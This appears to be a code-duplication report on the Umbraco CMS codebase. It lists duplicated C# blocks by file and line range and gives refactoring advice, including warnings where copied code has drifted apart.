Duplicated block (45–47 lines × 2) src/Umbraco.Core/Services/ContentTypeService.cs:123— src/Umbraco.Core/Services/ContentTypeService.cs:123-167 | src/Umbraco.Core/Services/ContentTypeService.cs:211-257 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ContentTypeService.cs:123` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8–46 lines × 11) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461-468 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:787-832 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:926-933 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1160-1167 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1224-1231 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1399-1406 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1778-1817 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1909-1916 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2387-2422 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2489-2496 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2563-2604 — all 11 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (12–46 lines × 3) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:793— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:793-838 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1784-1823 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2264-2275 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (46 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:239— src/Umbraco.Core/Packaging/PackagesRepository.cs:239-284 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:368-413 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:368` calls `PackageElements` and `src/Umbraco.Core/Packaging/PackagesRepository.cs:239` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (44 lines × 2) src/Umbraco.Core/Services/ContentPermissionService.cs:243— src/Umbraco.Core/Services/ContentPermissionService.cs:243-286 | src/Umbraco.Core/Services/ElementPermissionService.cs:168-211 — before extracting anything, compare `src/Umbraco.Core/Services/ContentPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 100 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (8–42 lines × 12) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461-468 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523-530 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:787-828 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:926-933 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1160-1167 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1224-1231 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1399-1406 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1778-1813 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1909-1916 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2387-2418 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2489-2496 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2563-2600 — all 12 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (11–42 lines × 7) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:996— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:996-1006 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1110-1120 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314-1324 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1481-1491 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1987-1997 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2321-2331 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2568-2609 — all 7 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (37–38 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:526— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:526-563 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1017-1053 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IMedia` in one and `TEntity` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (36 lines × 2) src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:254— src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:254-289 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:301-336 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs` and `src/Umbraco.Web.Common/Security/MemberSignInManager.cs` as WHOLE FILES: this scan already matched 5 separate duplicated blocks between them, totalling at least 131 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:254` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `autoLinkOptions` to `ExternalSignInAutoLinkOptions?` in one and `MemberExternalSignInAutoLinkOptions?` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (29–35 lines × 2) src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:678— src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:678-706 | src/Umbraco.Core/Models/PublishedContent/PublishedModelFactory.cs:35-69 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:678` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (16–33 lines × 3) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2390— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2390-2422 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2428-2460 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2466-2481 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2390` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (25–33 lines × 2) src/Umbraco.Cms.Api.Management/ViewModels/User/CalculatedUserStartNodesResponseModel.cs:11— src/Umbraco.Cms.Api.Management/ViewModels/User/CalculatedUserStartNodesResponseModel.cs:11-35 | src/Umbraco.Cms.Api.Management/ViewModels/User/UserResponseModel.cs:16-48 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (31–32 lines × 2) src/Umbraco.Cms.Api.Management/Security/Authorization/Feature/FeatureAuthorizeHandler.cs:41— src/Umbraco.Cms.Api.Management/Security/Authorization/Feature/FeatureAuthorizeHandler.cs:41-71 | src/Umbraco.Web.Common/Authorization/FeatureAuthorizeHandler.cs:52-83 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (32 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:2173— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:2173-2204 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:2375-2406 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:2173` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (19–31 lines × 2) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:748— src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:748-766 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:655-685 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (29–31 lines × 2) src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:514— src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:514-544 | src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:229-257 — before extracting anything, compare `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs` and `src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 60 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:514` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (25–28 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:230— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:230-257 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:418-442 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IContentTypeComposition` in one and `IDataType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (14–27 lines × 7) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:341— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:341-367 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:385-411 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:848-861 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1333-1356 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1714-1731 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1996-2009 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2102-2121 — all 7 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (27 lines × 3) src/Umbraco.Core/Services/ContentPermissionService.cs:255— src/Umbraco.Core/Services/ContentPermissionService.cs:255-281 | src/Umbraco.Core/Services/ElementPermissionService.cs:180-206 | src/Umbraco.Core/Services/UserService.cs:2161-2187 — before extracting anything, compare `src/Umbraco.Core/Services/ContentPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 100 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ContentPermissionService.cs:255` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (26–27 lines × 3) src/Umbraco.Cms.Api.Management/ViewModels/DocumentType/CreateDocumentTypeRequestModel.cs:9— src/Umbraco.Cms.Api.Management/ViewModels/DocumentType/CreateDocumentTypeRequestModel.cs:9-35 | src/Umbraco.Cms.Api.Management/ViewModels/DocumentType/DocumentTypeResponseModel.cs:8-33 | src/Umbraco.Cms.Api.Management/ViewModels/DocumentType/UpdateDocumentTypeRequestModel.cs:9-34 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from all 3 call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/ViewModels/DocumentType/CreateDocumentTypeRequestModel.cs:9` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (21–27 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Tree/UserStartNodeFolderTreeControllerBase.cs:70— src/Umbraco.Cms.Api.Management/Controllers/Tree/UserStartNodeFolderTreeControllerBase.cs:70-96 | src/Umbraco.Cms.Api.Management/Controllers/Tree/UserStartNodeTreeControllerBase.cs:93-113 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Cms.Api.Management/Controllers/Tree/UserStartNodeFolderTreeControllerBase.cs:107` calls `MapTreeItemViewModelAsNoAccessAsync`, `MapTreeItemViewModelAsync` and `src/Umbraco.Cms.Api.Management/Controllers/Tree/UserStartNodeTreeControllerBase.cs:115` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (20–26 lines × 12) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:602— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:602-625 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2840-2865 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2866-2885 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2886-2905 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2906-2925 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2926-2945 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2946-2965 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2966-2985 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2986-3005 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3006-3025 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3026-3045 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3046-3065 — all 12 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (20–26 lines × 2) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1706— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1706-1725 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2835-2860 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (25–26 lines × 2) src/Umbraco.Infrastructure/Migrations/Upgrade/V_18_0_0/SingleBlockList/SingleBlockListBlockGridProcessor.cs:42— src/Umbraco.Infrastructure/Migrations/Upgrade/V_18_0_0/SingleBlockList/SingleBlockListBlockGridProcessor.cs:42-66 | src/Umbraco.Infrastructure/Migrations/Upgrade/V_18_0_0/SingleBlockList/SingleBlockListBlockListProcessor.cs:41-66 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
Duplicated block (16–25 lines × 5) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314-1329 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1334-1350 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1481-1496 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3497-3521 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3545-3560 — all 5 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (20–24 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1058— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1058-1081 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1170-1189 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (21–24 lines × 2) src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:96— src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:96-116 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:169-192 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs` and `src/Umbraco.Web.Common/Security/MemberSignInManager.cs` as WHOLE FILES: this scan already matched 5 separate duplicated blocks between them, totalling at least 131 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:96` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (23–24 lines × 2) src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:97— src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:97-120 | src/Umbraco.Cms.Api.Management/Factories/PublishableContentPresentationFactoryBase.cs:162-184 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:97` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (21–23 lines × 3) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:374— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:374-396 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:616-638 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2091-2111 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (22–23 lines × 2) src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:380— src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:380-402 | src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:461-482 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:380` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (11–22 lines × 2) src/Umbraco.Cms.Api.Management/Security/AutoLinkSignInResult.cs:20— src/Umbraco.Cms.Api.Management/Security/AutoLinkSignInResult.cs:20-41 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:471-481 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (16–20 lines × 5) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3234— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3234-3253 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3296-3315 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3391-3406 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3483-3498 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3513-3528 — all 5 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (19 lines × 3) src/Umbraco.Infrastructure/Security/MemberUserStore.cs:182— src/Umbraco.Infrastructure/Security/MemberUserStore.cs:182-200 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:267-285 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:984-1002 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Infrastructure/Security/MemberUserStore.cs:202` calls `Complete` and `src/Umbraco.Infrastructure/Security/MemberUserStore.cs:1004` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (17–19 lines × 2) src/Umbraco.Infrastructure/Examine/ContentIndexPopulator.cs:137— src/Umbraco.Infrastructure/Examine/ContentIndexPopulator.cs:137-153 | src/Umbraco.Infrastructure/Examine/MediaIndexPopulator.cs:84-102 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Examine/ContentIndexPopulator.cs:137` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (18 lines × 5) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:340— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:340-361 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:384-405 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1713-1730 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2078-2095 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2101-2120 — all 5 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (18 lines × 3) src/Umbraco.Core/Services/FileServiceOperationBase.cs:245— src/Umbraco.Core/Services/FileServiceOperationBase.cs:245-262 | src/Umbraco.Core/Services/FileServiceOperationBase.cs:285-302 | src/Umbraco.Core/Services/FileServiceOperationBase.cs:348-365 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/FileServiceOperationBase.cs:245` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
